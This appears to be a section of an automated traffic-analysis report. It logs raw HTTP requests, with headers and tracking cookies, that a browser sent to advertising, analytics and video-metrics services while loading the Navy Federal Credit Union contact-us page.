Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9749892;type=gener0;cat=conta0;ord=3291343058461;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=834203213;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: event-source, trigger=navigation-sourceReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: trigger, event-sourceReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
Source: global traffic	HTTP traffic detected: GET /uwt.js HTTP/1.1Host: static.ads-twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "bbbcf811d8437a575d796a4c1e5d4fad"If-Modified-Since: Thu, 04 Apr 2024 00:26:35 GMT
Source: global traffic	HTTP traffic detected: GET /td/fls/rul/activityi;fledge=1;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
Source: global traffic	HTTP traffic detected: GET /activityi;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1Host: 9749892.fls.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg; _dpm_ses.4d04=*; _dpm_id.4d04=62ee9019-96e3-4db4-9307-4201e701ba8f.1716590761.1.1716590761.1716590761.30350b8a-ca27-426c-b033-4c9e26c0870b
Source: global traffic	HTTP traffic detected: GET /ddm/activity/src=9749892;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
Source: global traffic	HTTP traffic detected: GET /up_loader.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFGAUoAzILCJ6juOLCk_48EAU4AUIEIgIIAVoHcGNsOGJpeWABIf-None-Match: "a60a4e2650f94da6f243b9518761b381"If-Modified-Since: Mon, 20 May 2024 07:02:23 GMT
Source: global traffic	HTTP traffic detected: GET /sync?c=16b6410431b6374e780104abb0443ca8&p=ac2d76520490ec74c91b16b6cd806c4a&k=navy-federal-credit-union-pixel-4762&zmpID=navy-federal-credit-union&cache_buster={cache_buster} HTTP/1.1Host: live.rezync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEYvw.ItZUGSHF70m25AC4fgQ1tH_qQos
Source: global traffic	HTTP traffic detected: GET /tv2track.php?action_name=Contact%20Us%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=702009&h=18&m=46&s=40&url=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1190 HTTP/1.1Host: collector-11598.tvsquared.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tv2track.php?action_name=Contact%20Us%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=818227&h=18&m=46&s=40&url=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1190 HTTP/1.1Host: collector-11598.tvsquared.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b/ss/nfcuprod/1/JS-2.23.0-LDQM/s33369260808916?AQB=1&ndh=1&pf=1&t=24%2F4%2F2024%2018%3A46%3A39%205%20240&sdid=3395027B8DD0B4CB-61167B21D4B5DDDB&mid=19471654271041955080390332448085131267&aamlh=6&ce=UTF-8&pageName=nfo%3Acontact-us&g=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&c.&getVisitNum=4.2&.c&cc=USD&aamb=RKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y&v1=nfo&v2=nfo%3Acontact-us&c4=6%3A46PM&v4=6%3A46PM&c5=Friday&v5=Friday&c11=Build%20Date%3A%202024-05-23T17%3A41%3A33Z%20%7CJS%3A%202.23.0%20%7CECID%3A%205.5.0&c13=nfo%3Abranches-atms&c15=AEM&v15=AEM&v16=19471654271041955080390332448085131267&v30=nfo%3Acontact-us&c45=D%3Dv45&v45=2024-05-24%2018%3A46%3A36&c46=19471654271041955080390332448085131267%7C1&v46=19471654271041955080390332448085131267%7C1&c51=D%3Dg&c59=D%3Dv59&v59=Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F117.0.0.0%20Safari%2F537.36&c60=highestPercentViewed%3D23%20%7C%20initialPercentViewed%3D23%20%2B%20%7C%20foldsSeen%3D1%20%7C%20foldsAvailable%3D4&v62=Do%20Not%20Track%20Disabled&v63=GPC%20is%20Disabled&v64=false&c65=Navy%20Federal%20-%20NFO-AEM%20Websites%7Cproduction&v65=Navy%20Federal%20-%20NFO-AEM%20Websites%7Cproduction&v77=nfo%20contact-us&s=1280x1024&c=24&j=1.6&v=N&k=Y&bw=1280&bh=907&mcorgid=9BD537045330573C0A490D44%40AdobeOrg&AQE=1 HTTP/1.1Host: analytics.navyfederal.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: at_check=true; _abck=21D1C4FBE0AED4A77782CD6A6455FF7F~0~YAAQVLMUArVCzI6PAQAApSXIrAtP/lgerEAD3d4syX3Lqa1oG7kKzOq6+AeiQbZ79CKhqHTbXIUZwKMpizhvYE46ly/SAaAXbsfKNi4V9Cplt1c1KnCrkjEi9201HRV9HymZEVif/VfI8o6RyJaHsZiN+deKnDjRYHEVV7Tg0ocuDOsqtlSnmNRecku4LI/T7cJ5Wo6LFAvnz3DjpH68xIMzMh+hsDozKB8KLeOWrIPEZUlhRGgrBZOf1T8RrJfaG9UEyADOwGoMC7hp9jdacCRU77FpfNZaTs1/P2H1Z+SAInkkBFIEG0dMqHv2NBzr105ZUfJfIZPeRNA4Hrf3XHFQpVuaAXQQ1yGxb1dW5OQhta11HuBlWXMPZleyYZAjH7Fx3Mpr2IDtpK9fAi+NndgzCSamP5UXhgXSH2M=~-1~\|\|-1\|\|~-1; AMCVS_9BD537045330573C0A490D44%40AdobeOrg=1; s_ecid=MCMID%7C19471654271041955080390332448085131267; ttc_c14=1716590753728; s_ips=907; s_vnc365=1748126753731%26vn%3D1; s_ivc=true; s_cc=true; _gcl_au=1.1.1380165631.1716590754; AMCV_9BD537045330573C0A490D44%40AdobeOrg=179643557%7CMCIDTS%7C19868%7CMCMID%7C19471654271041955080390332448085131267%7CMCAAMLH-1717195550%7C6%7CMCAAMB-1717195550%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1716597950s%7CNONE%7CMCAID%7CNONE%7CMCSYNCSOP%7C411-19875%7CvVersion%7C5.5.0; _fbp=fb.1.1716
Source: global traffic	HTTP traffic detected: GET /v2/tracker?domain=videocloud&platform=video-js&session=ae49fd858d3acf272af62c12&account=5289441629001&destination=https%3A%2F%2Fwww.navyfederal.org%2F&platform_version=6.67.7&player=players.brightcove.com%2F5289441629001%2FH1eDsUIBZ_default&player_name=NFCU%20Default%20Player&event=player_init&time=1716590800169&autoplay=false&seq=0 HTTP/1.1Host: metrics.brightcove.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://players.brightcove.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v2/tracker?domain=videocloud&platform=video-js&session=ae49fd858d3acf272af62c12&account=5289441629001&destination=https%3A%2F%2Fwww.navyfederal.org%2F&platform_version=6.67.7&player=players.brightcove.com%2F5289441629001%2FH1eDsUIBZ_default&player_name=NFCU%20Default%20Player&event=catalog_request&url=https%3A%2F%2Fedge.api.brightcove.com%2Fplayback%2Fv1%2Faccounts%2F5289441629001%2Fvideos%2F5368522558001&time=1716590800172&autoplay=false&seq=1 HTTP/1.1Host: metrics.brightcove.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://players.brightcove.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v2/tracker?domain=videocloud&platform=video-js&session=ae49fd858d3acf272af62c12&account=5289441629001&destination=https%3A%2F%2Fwww.navyfederal.org%2F&platform_version=6.67.7&player=players.brightcove.com%2F5289441629001%2FH1eDsUIBZ_default&player_name=NFCU%20Default%20Player&autoplay=false&ads_enabled=false&usage=social!3.14.0&usage=iframe-embed&event=player_load&time=1716590800351&qos.performance.memory.jsHeapSizeLimit=2172649472&qos.performance.memory.usedJSHeapSize=4897935&qos.performance.memory.totalJSHeapSize=9139239&qos.performance.navigation.redirectCount=0&qos.performance.navigation.type=0&qos.performance.navigation.directedMigration=false&qos.performance.timing.loadEventEnd=0&qos.performance.timing.loadEventStart=0&qos.performance.timing.domComplete=0&qos.performance.timing.domContentLoadedEventEnd=1716590800192&qos.performance.timing.domContentLoadedEventStart=1716590800188&qos.performance.timing.domInteractive=1716590800188&qos.performance.timing.domLoading=1716590797329&qos.performance.timing.responseEnd=1716590799428&qos.performance.timing.responseStart=1716590796904&qos.performance.timing.requestStart=1716590796139&qos.performance.timing.secureConnectionStart=1716590795355&qos.performance.timing.connectEnd=1716590796138&qos.performance.timing.connectStart=1716590795354&qos.performance.timing.domainLookupEnd=1716590795354&qos.performance.timing.domainLookupStart=1716590795337&qos.performance.timing.fetchStart=1716590795282&qos.performance.timing.redirectEnd=0&qos.performance.timing.redirectStart=0&qos.performance.timing.unloadEventEnd=0&qos.performance.timing.unloadEventStart=0&qos.performance.timing.navigationStart=1716590795250&qos.performance.bcParse=2823.0999999999767&qos.player.dimensions=%5B%5B1716590800351%2C%220x0%22%2C%22466x262%22%5D%5D&qos.player.pixelratio=%5B%5B1716590800351%2C1%5D%5D&qos.player.screendimensions=%5B%5B1716590800351%2C%221280x1024%22%5D%5D&seq=2 HTTP/1.1Host: metrics.brightcove.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://players.brightcove.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vttjs/0.15.3/vtt.global.min.js HTTP/1.1Host: vjs.zencdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://players.brightcove.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ns/__p2.gif?ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&chk=true&brid=2779&brcid=&email=&orderId=&orderValue=&productId=&offerCode=&label=&pageUrl=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&referrerUrl=&targetUrl=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&sessionId=19471654271041955080390332448085131267&markerType=seg&rand=LRjIwJqHrPe2EYaa&iabOptOut=-&jsVer=3.2.1&frVer=1.2&markerId=815428 HTTP/1.1Host: px0.pbbl.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=4bedbdd9-a18b-4da1-bc9d-77514471ffd6&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=4bedbdd9-a18b-4da1-bc9d-77514471ffd6&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=5faf904f-3cc2-42e1-80ea-038b2d1a4c98&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /activityi;dc_pre=CKeZtIevp4YDFZI5BgAd2RgBnQ;src=9749892;type=gener0;cat=conta0;ord=3291343058461;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=834203213;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1Host: 9749892.fls.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; 